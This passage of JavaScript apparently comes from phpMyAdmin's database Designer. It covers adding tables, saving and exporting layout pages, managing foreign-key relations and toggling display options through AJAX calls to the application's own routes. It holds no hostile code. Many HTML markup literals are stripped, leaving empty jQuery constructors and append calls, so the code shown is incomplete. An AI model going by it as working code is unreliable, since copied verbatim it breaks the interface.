$selectDb.append(''); var $selectTable = $(''); $selectTable.append(''); $.post('index.php?route=/sql', { 'ajax_request' : true, 'sql_query' : 'SHOW databases;', 'server': CommonParams.get('server') }, function (data) { $(data.message).find('table.table_results.data.ajax').find('td.data').each(function () { var val = $(this)[0].innerText; $selectDb.append($('').val(val).text(val)); }); }); var $form = $('
          ') .append($selectDb).append($selectTable); var modal = DesignerMove.displayModal($form, Messages.strAddTables, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var db = $('#add_table_from').val(); var table = $('#add_table').val(); // Check if table already imported or not. var $table = $('[id="' + encodeURIComponent(db) + '.' + encodeURIComponent(table) + '"]'); if ($table.length !== 0) { Functions.ajaxShowMessage( Functions.sprintf(Messages.strTableAlreadyExists, db + '.' + table), undefined, 'error' ); return; } $.post('index.php?route=/database/designer', { 'ajax_request' : true, 'dialog' : 'add_table', 'db' : db, 'table' : table, 'server': CommonParams.get('server') }, function (data) { var $newTableDom = $(data.message); $newTableDom.find('a').first().remove(); var dbEncoded = $($newTableDom).find('.small_tab_pref').attr('db_url'); var tableEncoded = $($newTableDom).find('.small_tab_pref').attr('table_name_url'); if (typeof dbEncoded === 'string' && typeof tableEncoded === 'string') { // Do not try to add if attr not found ! $('#container-form').append($newTableDom); DesignerMove.enableTableEvents(null, $newTableDom); DesignerMove.addTableToTablesList(null, $newTableDom); jTabs[dbEncoded + '.' + tableEncoded] = 1; DesignerMove.markUnsaved(); } }); $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); $('#add_table_from').on('change', function () { if ($(this).val()) { var dbName = $(this).val(); var sqlQuery = 'SHOW tables;'; $.post('index.php?route=/sql', { 'ajax_request' : true, 'sql_query': sqlQuery, 'db' : dbName, 'server': CommonParams.get('server') }, function (data) { $selectTable.html(''); var rows = $(data.message).find('table.table_results.data.ajax').find('td.data'); if (rows.length === 0) { $selectTable.append(''); } rows.each(function () { var val = $(this)[0].innerText; $selectTable.append($('').val(val).text(val)); }); }); } }); }; // ------------------------------ NEW ------------------------------------------ DesignerMove.new = function () { DesignerMove.promptToSaveCurrentPage(function () { DesignerMove.loadPage(-1); }); }; // ------------------------------ SAVE ------------------------------------------ // (del?) no for pdf DesignerMove.save = function (url) { for (var key in jTabs) { document.getElementById('t_x_' + key + '_').value = parseInt(document.getElementById(key).style.left, 10); document.getElementById('t_y_' + key + '_').value = parseInt(document.getElementById(key).style.top, 10); document.getElementById('t_v_' + key + '_').value = document.getElementById('id_tbody_' + key).style.display === 'none' ? 0 : 1; document.getElementById('t_h_' + key + '_').value = document.getElementById('check_vis_' + key).checked ? 1 : 0; } document.getElementById('container-form').action = url; $('#container-form').trigger('submit'); }; DesignerMove.getUrlPos = function (forceString) { var key; if (designerTablesEnabled || forceString) { var poststr = ''; var argsep = CommonParams.get('arg_separator'); var i = 1; for (key in jTabs) { poststr += argsep + 't_x[' + i + ']=' + parseInt(document.getElementById(key).style.left, 10); poststr += argsep + 't_y[' + i + ']=' + parseInt(document.getElementById(key).style.top, 10); poststr += argsep + 't_v[' + i + ']=' + (document.getElementById('id_tbody_' + key).style.display === 'none' ? 0 : 1); poststr += argsep + 't_h[' + i + ']=' + (document.getElementById('check_vis_' + key).checked ? 1 : 0); poststr += argsep + 't_db[' + i + ']=' + $(document.getElementById(key)).attr('db_url'); poststr += argsep + 't_tbl[' + i + ']=' + $(document.getElementById(key)).attr('table_name_url'); i++; } return poststr; } else { var coords = []; for (key in jTabs) { if (document.getElementById('check_vis_' + key).checked) { var x = parseInt(document.getElementById(key).style.left, 10); var y = parseInt(document.getElementById(key).style.top, 10); var tbCoords = new DesignerObjects.TableCoordinate( $(document.getElementById(key)).attr('db_url'), $(document.getElementById(key)).attr('table_name_url'), -1, x, y); coords.push(tbCoords); } } return coords; } }; DesignerMove.save2 = function (callback) { if (designerTablesEnabled) { var argsep = CommonParams.get('arg_separator'); var poststr = 'operation=savePage' + argsep + 'save_page=same' + argsep + 'ajax_request=true'; poststr += argsep + 'server=' + server + argsep + 'db=' + encodeURIComponent(db) + argsep + 'selected_page=' + selectedPage; poststr += DesignerMove.getUrlPos(); var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', poststr, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(Messages.strModificationSaved); DesignerMove.markSaved(); if (typeof callback !== 'undefined') { callback(); } } }); } else { var name = $('#page_name').html().trim(); DesignerPage.saveToSelectedPage(db, selectedPage, name, DesignerMove.getUrlPos(), function () { DesignerMove.markSaved(); if (typeof callback !== 'undefined') { callback(); } }); } }; DesignerMove.submitSaveDialogAndClose = function (callback, modal) { var $form = $('#save_page'); var name = $form.find('input[name="selected_value"]').val().trim(); if (name === '') { Functions.ajaxShowMessage(Messages.strEnterValidPageName, false); return; } modal.modal('hide'); if (designerTablesEnabled) { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize() + DesignerMove.getUrlPos(), function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (data.id) { selectedPage = data.id; } $('#page_name').text(name); if (typeof callback !== 'undefined') { callback(); } } }); } else { DesignerPage.saveToNewPage(db, name, DesignerMove.getUrlPos(), function (page) { DesignerMove.markSaved(); if (page.pgNr) { selectedPage = page.pgNr; } $('#page_name').text(page.pageDescr); if (typeof callback !== 'undefined') { callback(); } }); } }; DesignerMove.save3 = function (callback) { if (selectedPage !== -1) { DesignerMove.save2(callback); } else { var $form = $('
          ') .append('') .append($('').val(db)) .append('') .append('') .append(':'); var modal = DesignerMove.displayModal($form, Messages.strSavePage, '#designerGoModal'); $form.on('submit', function (e) { e.preventDefault(); DesignerMove.submitSaveDialogAndClose(callback, modal); }); $('#designerModalGoButton').on('click', function () { var $form = $('#save_page'); $form.trigger('submit'); $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); } }; // ------------------------------ EDIT PAGES ------------------------------------------ DesignerMove.editPages = function () { DesignerMove.promptToSaveCurrentPage(function () { var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'edit' }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); if (! designerTablesEnabled) { DesignerPage.createPageList(db, function (options) { $('#selected_page').append(options); }); } var modal = DesignerMove.displayModal(data.message, Messages.strOpenPage, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var $form = $('#edit_delete_pages'); var selected = $form.find('select[name="selected_page"]').val(); if (selected === '0') { Functions.ajaxShowMessage(Messages.strSelectPage, 2000); return; } $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); DesignerMove.loadPage(selected); }); } }); // end $.post() }); }; // ----------------------------- DELETE PAGES --------------------------------------- DesignerMove.deletePages = function () { var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'delete' }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); if (! designerTablesEnabled) { DesignerPage.createPageList(db, function (options) { $('#selected_page').append(options); }); } var modal = DesignerMove.displayModal(data.message, Messages.strDeletePage, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var $form = $('#edit_delete_pages'); var selected = $form.find('select[name="selected_page"]').val(); if (selected === '0') { Functions.ajaxShowMessage(Messages.strSelectPage, 2000); return; } var $messageBox = Functions.ajaxShowMessage(Messages.strProcessingRequest); var deletingCurrentPage = parseInt(selected) === selectedPage; Functions.prepareForAjaxRequest($form); if (designerTablesEnabled) { $.post($form.attr('action'), $form.serialize(), function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($messageBox); if (deletingCurrentPage) { DesignerMove.loadPage(null); } else { Functions.ajaxShowMessage(Messages.strSuccessfulPageDelete); } } }); // end $.post() } else { DesignerPage.deletePage(selected, function (success) { if (! success) { Functions.ajaxShowMessage('Error', false); } else { Functions.ajaxRemoveMessage($messageBox); if (deletingCurrentPage) { DesignerMove.loadPage(null); } else { Functions.ajaxShowMessage(Messages.strSuccessfulPageDelete); } } }); } $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); } }); // end $.post() }; // ------------------------------ SAVE AS PAGES --------------------------------------- DesignerMove.saveAs = function () { var $msgbox = Functions.ajaxShowMessage(); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'save_as' }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); if (! designerTablesEnabled) { DesignerPage.createPageList(db, function (options) { $('#selected_page').append(options); }); } var modal = DesignerMove.displayModal(data.message, Messages.strSavePageAs, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { var $form = $('#save_as_pages'); var selectedValue = $form.find('input[name="selected_value"]').val().trim(); var $selectedPage = $form.find('select[name="selected_page"]'); var choice = $form.find('input[name="save_page"]:checked').val(); var name = ''; if (choice === 'same') { if ($selectedPage.val() === '0') { Functions.ajaxShowMessage(Messages.strSelectPage, 2000); return; } name = $selectedPage.find('option:selected').text(); } else if (choice === 'new') { if (selectedValue === '') { Functions.ajaxShowMessage(Messages.strEnterValidPageName, 2000); return; } name = selectedValue; } var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); if (designerTablesEnabled) { Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize() + DesignerMove.getUrlPos(), function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (data.id) { selectedPage = data.id; } DesignerMove.loadPage(selectedPage); } }); // end $.post() } else { if (choice === 'same') { var selectedPageId = $selectedPage.find('option:selected').val(); DesignerPage.saveToSelectedPage(db, selectedPageId, name, DesignerMove.getUrlPos(), function (page) { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (page.pgNr) { selectedPage = page.pgNr; } DesignerMove.loadPage(selectedPage); }); } else if (choice === 'new') { DesignerPage.saveToNewPage(db, name, DesignerMove.getUrlPos(), function (page) { Functions.ajaxRemoveMessage($msgbox); DesignerMove.markSaved(); if (page.pgNr) { selectedPage = page.pgNr; } DesignerMove.loadPage(selectedPage); }); } } $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); // select current page by default if (selectedPage !== -1) { $('select[name="selected_page"]').val(selectedPage); } } }); // end $.post() }; DesignerMove.promptToSaveCurrentPage = function (callback) { if (change === 1 || selectedPage === -1) { var modal = DesignerMove.displayModal('
          ' + Messages.strLeavingPage + '
          ', Messages.strSavePage, '#designerPromptModal'); $('#designerModalYesButton').on('click', function () { modal.modal('hide'); DesignerMove.save3(callback); }); $('#designerModalNoButton').on('click', function () { modal.modal('hide'); callback(); }); } else { callback(); } }; // ------------------------------ EXPORT PAGES --------------------------------------- DesignerMove.exportPages = function () { var $msgbox = Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/database/designer', { 'ajax_request': true, 'server': server, 'db': db, 'dialog': 'export', 'selected_page': selectedPage }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); var $form = $(data.message); if (!designerTablesEnabled) { $form.append(''); } $.each(DesignerMove.getUrlPos(true).substring(1).split(argsep), function () { var pair = this.split('='); var input = $(''); input.attr('name', pair[0]); input.attr('value', pair[1]); $form.append(input); }); var $formatDropDown = $form.find('#plugins'); $formatDropDown.on('change', function () { var format = $formatDropDown.val(); $form.find('.format_specific_options').hide(); $form.find('#' + format + '_options').show(); }).trigger('change'); var modal = DesignerMove.displayModal($form, Messages.strExportRelationalSchema, '#designerGoModal'); $('#designerModalGoButton').on('click', function () { $('#id_export_pages').trigger('submit'); $('#designerModalGoButton').off('click');// Unregister the event for other modals to not call this one modal.modal('hide'); }); } }); // end $.post() }; DesignerMove.loadPage = function (page) { if (designerTablesEnabled) { var paramPage = ''; var argsep = CommonParams.get('arg_separator'); if (page !== null) { paramPage = argsep + 'page=' + page; } $('') .appendTo($('#page_content')) .trigger('click'); } else { if (page === null) { DesignerPage.showTablesInLandingPage(db); } else if (page > -1) { DesignerPage.loadHtmlForPage(page); } else if (page === -1) { DesignerPage.showNewPageTables(true); } } DesignerMove.markSaved(); }; DesignerMove.grid = function () { var valueSent = ''; if (!onGrid) { onGrid = 1; valueSent = 'on'; document.getElementById('grid_button').className = 'M_butt_Selected_down'; } else { document.getElementById('grid_button').className = 'M_butt'; onGrid = 0; valueSent = 'off'; } DesignerMove.saveValueInConfig('snap_to_grid', valueSent); }; DesignerMove.angularDirect = function () { var valueSent = ''; if (onAngularDirect) { onAngularDirect = 0; valueSent = 'angular'; document.getElementById('angular_direct_button').className = 'M_butt_Selected_down'; } else { onAngularDirect = 1; valueSent = 'direct'; document.getElementById('angular_direct_button').className = 'M_butt'; } DesignerMove.saveValueInConfig('angular_direct', valueSent); DesignerMove.reload(); }; DesignerMove.saveValueInConfig = function (indexSent, valueSent) { $.post('index.php?route=/database/designer', { 'operation': 'save_setting_value', 'index': indexSent, 'ajax_request': true, 'server': server, 'value': valueSent }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } }); }; // ++++++++++++++++++++++++++++++ RELATION ++++++++++++++++++++++++++++++++++++++ DesignerMove.startRelation = function () { if (onDisplayField) { return; } if (!onRelation) { document.getElementById('foreign_relation').style.display = ''; onRelation = 1; document.getElementById('designer_hint').innerHTML = Messages.strSelectReferencedKey; document.getElementById('designer_hint').style.display = 'block'; document.getElementById('rel_button').className = 'M_butt_Selected_down'; } else { document.getElementById('designer_hint').innerHTML = ''; document.getElementById('designer_hint').style.display = 'none'; document.getElementById('rel_button').className = 'M_butt'; clickField = 0; onRelation = 0; } }; // table field DesignerMove.clickField = function (db, T, f, pk) { var pkLocal = parseInt(pk); var argsep = CommonParams.get('arg_separator'); if (onRelation) { if (!clickField) { // .style.display=='none' .style.display = 'none' if (!pkLocal) { alert(Messages.strPleaseSelectPrimaryOrUniqueKey); return;// 0; }// PK if (jTabs[db + '.' + T] !== 1) { document.getElementById('foreign_relation').style.display = 'none'; } clickField = 1; linkRelation = 'DB1=' + db + argsep + 'T1=' + T + argsep + 'F1=' + f; document.getElementById('designer_hint').innerHTML = Messages.strSelectForeignKey; } else { DesignerMove.startRelation(); // hidden hint... if (jTabs[db + '.' + T] !== 1 || !pkLocal) { document.getElementById('foreign_relation').style.display = 'none'; } var left = globX - (document.getElementById('layer_new_relation').offsetWidth >> 1); document.getElementById('layer_new_relation').style.left = left + 'px'; var top = globY - document.getElementById('layer_new_relation').offsetHeight; document.getElementById('layer_new_relation').style.top = top + 'px'; document.getElementById('layer_new_relation').style.display = 'block'; linkRelation += argsep + 'DB2=' + db + argsep + 'T2=' + T + argsep + 'F2=' + f; } } if (onDisplayField) { var fieldNameToSend = decodeURIComponent(f); var newDisplayFieldClass = 'tab_field'; var oldTabField = document.getElementById('id_tr_' + T + '.' + displayField[T]); // if is display field if (displayField[T] === f) {// The display field is already the one defined, user wants to remove it newDisplayFieldClass = 'tab_field'; delete displayField[T]; if (oldTabField) {// Clear the style // Set display field class on old item oldTabField.className = 'tab_field'; } fieldNameToSend = ''; } else { newDisplayFieldClass = 'tab_field_3'; if (displayField[T]) { // Had a previous one, clear it if (oldTabField) { // Set display field class on old item oldTabField.className = 'tab_field'; } delete displayField[T]; } displayField[T] = f; var tabField = document.getElementById('id_tr_' + T + '.' + displayField[T]); if (tabField) { // Set new display field class tabField.className = newDisplayFieldClass; } } onDisplayField = 0; document.getElementById('designer_hint').innerHTML = ''; document.getElementById('designer_hint').style.display = 'none'; document.getElementById('display_field_button').className = 'M_butt'; var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', { 'operation': 'setDisplayField', 'ajax_request': true, 'server': server, 'db': db, 'table': T, 'field': fieldNameToSend }, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(Messages.strModificationSaved); } }); } }; DesignerMove.newRelation = function () { document.getElementById('layer_new_relation').style.display = 'none'; var argsep = CommonParams.get('arg_separator'); linkRelation += argsep + 'server=' + server + argsep + 'db=' + db + argsep + 'db2=p'; linkRelation += argsep + 'on_delete=' + document.getElementById('on_delete').value + argsep + 'on_update=' + document.getElementById('on_update').value; linkRelation += argsep + 'operation=addNewRelation' + argsep + 'ajax_request=true'; var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', linkRelation, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(data.message); DesignerMove.loadPage(selectedPage); } }); // end $.post() }; // -------------------------- create tables ------------------------------------- DesignerMove.startTableNew = function () { CommonParams.set('table', ''); CommonActions.refreshMain('index.php?route=/table/create'); }; DesignerMove.startTabUpd = function (db, table) { CommonParams.set('db', db); CommonParams.set('table', table); CommonActions.refreshMain('index.php?route=/table/structure'); }; // --------------------------- hide tables -------------------------------------- // max/min all tables DesignerMove.smallTabAll = function (idThis) { var icon = idThis.children[0]; var valueSent = ''; if (icon.alt === 'v') { $('.designer_tab .small_tab,.small_tab2').each(function (index, element) { if ($(element).text() === 'v') { DesignerMove.smallTab($(element).attr('table_name'), 0); } }); icon.alt = '>'; icon.src = icon.dataset.right; valueSent = 'v'; } else { $('.designer_tab .small_tab,.small_tab2').each(function (index, element) { if ($(element).text() !== 'v') { DesignerMove.smallTab($(element).attr('table_name'), 0); } }); icon.alt = 'v'; icon.src = icon.dataset.down; valueSent = '>'; } DesignerMove.saveValueInConfig('small_big_all', valueSent); $('#key_SB_all').toggleClass('M_butt_Selected_down'); $('#key_SB_all').toggleClass('M_butt'); DesignerMove.reload(); }; // invert max/min all tables DesignerMove.smallTabInvert = function () { for (var key in jTabs) { DesignerMove.smallTab(key, 0); } DesignerMove.reload(); }; DesignerMove.relationLinesInvert = function () { showRelationLines = ! showRelationLines; DesignerMove.saveValueInConfig('relation_lines', showRelationLines); $('#relLineInvert').toggleClass('M_butt_Selected_down'); $('#relLineInvert').toggleClass('M_butt'); DesignerMove.reload(); }; DesignerMove.smallTabRefresh = function () { for (var key in jTabs) { if (document.getElementById('id_hide_tbody_' + key).innerHTML !== 'v') { DesignerMove.smallTab(key, 0); } } }; DesignerMove.smallTab = function (t, reload) { var id = document.getElementById('id_tbody_' + t); var idThis = document.getElementById('id_hide_tbody_' + t); if (idThis.innerHTML === 'v') { // ---CROSS id.style.display = 'none'; idThis.innerHTML = '>'; } else { id.style.display = ''; idThis.innerHTML = 'v'; } if (reload) { DesignerMove.reload(); } }; DesignerMove.selectTab = function (t) { var idZag = document.getElementById('id_zag_' + t); if (idZag.className !== 'tab_zag_3') { document.getElementById('id_zag_' + t).className = 'tab_zag_2'; } else { document.getElementById('id_zag_' + t).className = 'tab_zag'; } // ---------- var idT = document.getElementById(t); window.scrollTo(parseInt(idT.style.left, 10) - 300, parseInt(idT.style.top, 10) - 300); setTimeout( function () { document.getElementById('id_zag_' + t).className = 'tab_zag'; }, 800 ); }; DesignerMove.canvasClick = function (id, event) { var n = 0; var selected = 0; var a = []; var Key0; var Key1; var Key2; var Key3; var Key; var x1; var x2; var K; var key; var key2; var key3; // eslint-disable-next-line compat/compat var localX = isIe ? event.clientX + document.body.scrollLeft : event.pageX; // eslint-disable-next-line compat/compat var localY = isIe ? event.clientY + document.body.scrollTop : event.pageY; localX -= $('#osn_tab').offset().left; localY -= $('#osn_tab').offset().top; DesignerMove.clear(); var osnTab = document.getElementById('osn_tab'); for (K in contr) { for (key in contr[K]) { for (key2 in contr[K][key]) { for (key3 in contr[K][key][key2]) { if (! document.getElementById('check_vis_' + key2).checked || ! document.getElementById('check_vis_' + contr[K][key][key2][key3][0]).checked) { continue; // if hide } var x1Left = document.getElementById(key2).offsetLeft + 1;// document.getElementById(key2+"."+key3).offsetLeft; var x1Right = x1Left + document.getElementById(key2).offsetWidth; var x2Left = document.getElementById(contr[K][key][key2][key3][0]).offsetLeft;// +document.getElementById(contr[K][key2][key3][0]+"."+contr[K][key2][key3][1]).offsetLeft var x2Right = x2Left + document.getElementById(contr[K][key][key2][key3][0]).offsetWidth; a[0] = Math.abs(x1Left - x2Left); a[1] = Math.abs(x1Left - x2Right); a[2] = Math.abs(x1Right - x2Left); a[3] = Math.abs(x1Right - x2Right); n = sLeft = sRight = 0; for (var i = 1; i < 4; i++) { if (a[n] > a[i]) { n = i; } } if (n === 1) { x1 = x1Left - smS; x2 = x2Right + smS; if (x1 < x2) { n = 0; } } if (n === 2) { x1 = x1Right + smS; x2 = x2Left - smS; if (x1 > x2) { n = 0; } } if (n === 3) { x1 = x1Right + smS; x2 = x2Right + smS; sRight = 1; } if (n === 0) { x1 = x1Left - smS; x2 = x2Left - smS; sLeft = 1; } var y1 = document.getElementById(key2).offsetTop + document.getElementById(key2 + '.' + key3).offsetTop + heightField; var y2 = document.getElementById(contr[K][key][key2][key3][0]).offsetTop + document.getElementById(contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1]).offsetTop + heightField; if (!selected && localX > x1 - 10 && localX < x1 + 10 && localY > y1 - 7 && localY < y1 + 7) { DesignerMove.drawLine0( x1, x2, y1, y2, osnTab, 'rgba(255,0,0,1)' ); selected = 1; Key0 = contr[K][key][key2][key3][0]; Key1 = contr[K][key][key2][key3][1]; Key2 = key2; Key3 = key3; Key = K; } else { DesignerMove.drawLine0( x1, x2, y1, y2, osnTab, contr[K][key][key2][key3][0] + '.' + contr[K][key][key2][key3][1] ); } } } } } if (selected) { // select relations var left = globX - (document.getElementById('layer_upd_relation').offsetWidth >> 1); document.getElementById('layer_upd_relation').style.left = left + 'px'; var top = globY - document.getElementById('layer_upd_relation').offsetHeight - 10; document.getElementById('layer_upd_relation').style.top = top + 'px'; document.getElementById('layer_upd_relation').style.display = 'block'; var argsep = CommonParams.get('arg_separator'); linkRelation = 'T1=' + Key0 + argsep + 'F1=' + Key1 + argsep + 'T2=' + Key2 + argsep + 'F2=' + Key3 + argsep + 'K=' + Key; } }; DesignerMove.updRelation = function () { document.getElementById('layer_upd_relation').style.display = 'none'; var argsep = CommonParams.get('arg_separator'); linkRelation += argsep + 'server=' + server + argsep + 'db=' + db; linkRelation += argsep + 'operation=removeRelation' + argsep + 'ajax_request=true'; var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/designer', linkRelation, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); Functions.ajaxShowMessage(data.message); DesignerMove.loadPage(selectedPage); } }); // end $.post() }; DesignerMove.visibleTab = function (id, tN) { if (id.checked) { document.getElementById(tN).style.display = 'block'; } else { document.getElementById(tN).style.display = 'none'; } DesignerMove.reload(); DesignerMove.markUnsaved(); }; // max/min all tables DesignerMove.hideTabAll = function (idThis) { if (idThis.alt === 'v') { idThis.alt = '>'; idThis.src = idThis.dataset.right; } else { idThis.alt = 'v'; idThis.src = idThis.dataset.down; } var E = document.getElementById('container-form'); var EelementsLength = E.elements.length; for (var i = 0; i < EelementsLength; i++) { if (E.elements[i].type === 'checkbox' && E.elements[i].id.substring(0, 10) === 'check_vis_') { if (idThis.alt === 'v') { E.elements[i].checked = true; document.getElementById(E.elements[i].value).style.display = ''; } else { E.elements[i].checked = false; document.getElementById(E.elements[i].value).style.display = 'none'; } } } DesignerMove.reload(); }; DesignerMove.inArrayK = function (x, m) { var b = 0; for (var u in m) { if (x === u) { b = 1; break; } } return b; }; DesignerMove.noHaveConstr = function (idThis) { var a = []; var K; var key; var key2; var key3; for (K in contr) { for (key in contr[K]) { // contr name for (key2 in contr[K][key]) { // table name for (key3 in contr[K][key][key2]) { // field name a[key2] = a[contr[K][key][key2][key3][0]] = 1; // exist constr } } } } if (idThis.alt === 'v') { idThis.alt = '>'; idThis.src = idThis.dataset.right; } else { idThis.alt = 'v'; idThis.src = idThis.dataset.down; } var E = document.getElementById('container-form'); var EelementsLength = E.elements.length; for (var i = 0; i < EelementsLength; i++) { if (E.elements[i].type === 'checkbox' && E.elements[i].id.substring(0, 10) === 'check_vis_') { if (!DesignerMove.inArrayK(E.elements[i].value, a)) { if (idThis.alt === 'v') { E.elements[i].checked = true; document.getElementById(E.elements[i].value).style.display = ''; } else { E.elements[i].checked = false; document.getElementById(E.elements[i].value).style.display = 'none'; } } } } }; DesignerMove.generalScroll = function () { // if (timeoutId) clearTimeout(timeoutId); timeoutId = setTimeout( function () { // eslint-disable-next-line compat/compat document.getElementById('top_menu').style.left = document.body.scrollLeft + 'px'; // eslint-disable-next-line compat/compat document.getElementById('top_menu').style.top = document.body.scrollTop + 'px'; }, 200 ); }; // max/min all tables DesignerMove.showLeftMenu = function (idThis) { var icon = idThis.children[0]; $('#key_Show_left_menu').toggleClass('M_butt_Selected_down'); if (icon.alt === 'v') { document.getElementById('layer_menu').style.top = '0px'; document.getElementById('layer_menu').style.display = 'block'; icon.alt = '>'; icon.src = icon.dataset.up; if (isIe) { DesignerMove.generalScroll(); } } else { document.getElementById('layer_menu').style.top = -1000 + 'px'; // fast scroll document.getElementById('layer_menu').style.display = 'none'; icon.alt = 'v'; icon.src = icon.dataset.down; } }; DesignerMove.sideMenuRight = function (idThis) { $('#side_menu').toggleClass('right'); $('#layer_menu').toggleClass('float-start'); var moveMenuIcon = $(idThis.getElementsByTagName('img')[0]); var resizeIcon = $('#layer_menu_sizer > img') .toggleClass('float-start') .toggleClass('float-end'); var srcResizeIcon = resizeIcon.attr('src'); resizeIcon.attr('src', resizeIcon.attr('data-right')); resizeIcon.attr('data-right', srcResizeIcon); var srcMoveIcon = moveMenuIcon.attr('src'); moveMenuIcon.attr('src', moveMenuIcon.attr('data-right')); moveMenuIcon.attr('data-right', srcMoveIcon); menuMoved = !menuMoved; DesignerMove.saveValueInConfig('side_menu', $('#side_menu').hasClass('right')); $('#key_Left_Right').toggleClass('M_butt_Selected_down'); $('#key_Left_Right').toggleClass('M_butt'); }; DesignerMove.showText = function () { $('#side_menu').find('.hidable').show(); }; DesignerMove.hideText = function () { if (!alwaysShowText) { $('#side_menu').find('.hidable').hide(); } }; DesignerMove.pinText = function () { alwaysShowText = !alwaysShowText; $('#pin_Text').toggleClass('M_butt_Selected_down'); $('#pin_Text').toggleClass('M_butt'); DesignerMove.saveValueInConfig('pin_text', alwaysShowText); }; DesignerMove.startDisplayField = function () { if (onRelation) { return; } if (!onDisplayField) { onDisplayField = 1; document.getElementById('designer_hint').innerHTML = Messages.strChangeDisplay; document.getElementById('designer_hint').style.display = 'block'; document.getElementById('display_field_button').className = 'M_butt_Selected_down';// '#FFEE99';gray #AAAAAA if (isIe) { // correct for IE document.getElementById('display_field_button').className = 'M_butt_Selected_down_IE'; } } else { document.getElementById('designer_hint').innerHTML = ''; document.getElementById('designer_hint').style.display = 'none'; document.getElementById('display_field_button').className = 'M_butt'; onDisplayField = 0; } }; var TargetColors = []; DesignerMove.getColorByTarget = function (target) { var color = ''; // "rgba(0,100,150,1)"; for (var targetColor in TargetColors) { if (TargetColors[targetColor][0] === target) { color = TargetColors[targetColor][1]; break; } } if (color.length === 0) { var i = TargetColors.length + 1; var d = i % 6; var j = (i - d) / 6; j = j % 4; j++; var colorCase = [ [1, 0, 0], [0, 1, 0], [0, 0, 1], [1, 1, 0], [1, 0, 1], [0, 1, 1] ]; var a = colorCase[d][0]; var b = colorCase[d][1]; var c = colorCase[d][2]; var e = (1 - (j - 1) / 6); var r = Math.round(a * 200 * e); var g = Math.round(b * 200 * e); b = Math.round(c * 200 * e); color = 'rgba(' + r + ',' + g + ',' + b + ',1)'; TargetColors.push([target, color]); } return color; }; DesignerMove.clickOption = function (dbName, tableName, columnName, tableDbNameUrl, optionColNameString) { var designerOptions = document.getElementById('designer_optionse'); var left = globX - (designerOptions.offsetWidth >> 1); designerOptions.style.left = left + 'px'; // var top = Glob_Y - designerOptions.offsetHeight - 10; designerOptions.style.top = (screen.height / 4) + 'px'; designerOptions.style.display = 'block'; document.getElementById('ok_add_object_db_and_table_name_url').value = tableDbNameUrl; document.getElementById('ok_add_object_db_name').value = dbName; document.getElementById('ok_add_object_table_name').value = tableName; document.getElementById('ok_add_object_col_name').value = columnName; document.getElementById('option_col_name').innerHTML = optionColNameString; }; DesignerMove.closeOption = function () { document.getElementById('designer_optionse').style.display = 'none'; document.getElementById('rel_opt').value = '--'; document.getElementById('Query').value = ''; document.getElementById('new_name').value = ''; document.getElementById('operator').value = '---'; document.getElementById('groupby').checked = false; document.getElementById('h_rel_opt').value = '--'; document.getElementById('h_operator').value = '---'; document.getElementById('having').value = ''; document.getElementById('orderby').value = '---'; }; DesignerMove.selectAll = function (tableName, dbName, idSelectAll) { var parentIsChecked = $('#' + idSelectAll).is(':checked'); var checkboxAll = $('#container-form input[id_check_all=\'' + idSelectAll + '\']:checkbox'); checkboxAll.each(function () { // already checked and then check parent if (parentIsChecked === true && this.checked) { // was checked, removing column from selected fields // trigger unchecked event this.click(); } this.checked = parentIsChecked; this.disabled = parentIsChecked; }); if (parentIsChecked) { selectField.push('`' + tableName + '`.*'); fromArray.push(tableName); } else { 